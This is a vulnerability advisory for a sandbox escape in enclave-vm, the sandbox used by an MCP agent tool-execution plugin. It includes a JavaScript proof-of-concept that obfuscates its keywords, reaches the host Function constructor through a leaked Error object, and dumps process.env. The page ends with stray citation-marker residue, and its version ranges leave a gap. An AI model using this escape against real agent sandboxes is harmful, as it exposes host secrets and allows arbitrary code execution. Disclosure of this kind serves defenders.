CVE-2026-22686 — Vulnerability in enclave-vm — CVE Details

A critical sandbox escape vulnerability exists in **enclave-vm** (affected: **< 2.6.0**, patched: **2.7.0**) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the **host Node.js runtime**. When a tool invocation fails, enclave-vm exposes a **host-side Error object** to sandboxed code. This Error object retains its **host realm prototype chain**, which can be traversed to reach the **host `Function` constructor**: `Error instance → Error.prototype → Error constructor → Function constructor` With access to the host `Function` constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as `process.env`, filesystem, and network. This breaks enclave-vm’s core security guarantee of isolating untrusted code. --- ### Ecosystem Impact (FrontMCP / CodeCall) **FrontMCP** is a TypeScript-first framework for building MCP servers, and the **CodeCall plugin** enables models to orchestrate large toolsets by generating and executing JavaScript plans. **Enclave is the defense-in-depth sandbox layer behind CodeCall** (AST validation + runtime sandboxing). If you use FrontMCP **CodeCall** for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version. --- ### Live Playground (Safe Exploration & Testing) To explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground: - **EnclaveVM Playground:** https://enclave.agentfront.dev This is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup. --- ### Timeline (Fast Fix) - **Fix released:** `enclave-vm@2.7.0` (Jan 9, 2026) - **Advisory published:** Jan 13, 2026 --- ### Proof of Concept > ⚠ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control. <details> <summary>Click to expand PoC</summary> ```javascript // Vector 35: The Host Error Escape // Purpose: Trigger a Host-side error and traverse its prototype chain // to reach the Host Function constructor. const s = (...args) => String.fromCharCode(...args); const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor" const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__" const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); const kCode = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118); const kPtype = s(112,114,111,116,111,116,121,112,101); try { const ObjectProto = Object[kPtype]; const lookup = ObjectProto[kLookup]; const getProtoNative = lookup.call(ObjectProto, kProto); let hostError; try { await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {}); } catch (e) { hostError = e; } const errProto = getProtoNative.call(hostError); const ErrorCtor = errProto[kCon]; const HostFunc = ErrorCtor[kCon]; const exploitFn = HostFunc(kCode); return exploitFn(); } catch (e) { return e.message; } ```` </details> --- ### Mitigation / Remediation **Immediate action:** * Upgrade **enclave-vm** to **2.7.0+** **Defense-in-depth guidance:** * Re-create all Error objects crossing the sandbox boundary **inside the sandbox realm** * Strip / freeze prototype chains of host objects * Prevent access to host `Function` constructors * Harden tool error handling to avoid leaking host-native objects --- ### References * GitHub Security Advisory: [https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63](https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63) * npm package: [https://www.npmjs.com/package/enclave-vm](https://www.npmjs.com/package/enclave-vm) * Enclave repo: [https://github.com/agentfront/enclave](https://github.com/agentfront/enclave) * FrontMCP docs: [https://agentfront.dev/docs](https://agentfront.dev/docs) * CodeCall plugin overview: [https://agentfront.dev/docs/plugins/overview](https://agentfront.dev/docs/plugins/overview) * EnclaveVM Playground: [https://enclave.agentfront.dev/](https://enclave.agentfront.dev) ``` Factual hooks (for correctness): - GHSA page confirms **affected `<2.6.0`** and **patched `2.7.0`**, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0} - FrontMCP docs explicitly describe **CodeCall** and that it uses **Enclave (AST validation + runtime sandboxing)**. :contentReference[oaicite:1]{index=1} - FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2} - Enclave repo links the **Live Demo** at `enclave.agentfront.dev`. :contentReference[oaicite:3]{index=3} - Release listing shows `enclave-vm@2.7.0` dated **Jan 9** (fast fix signal). :contentReference[oaicite:4]{index=4} ::contentReference[oaicite:5]{index=5}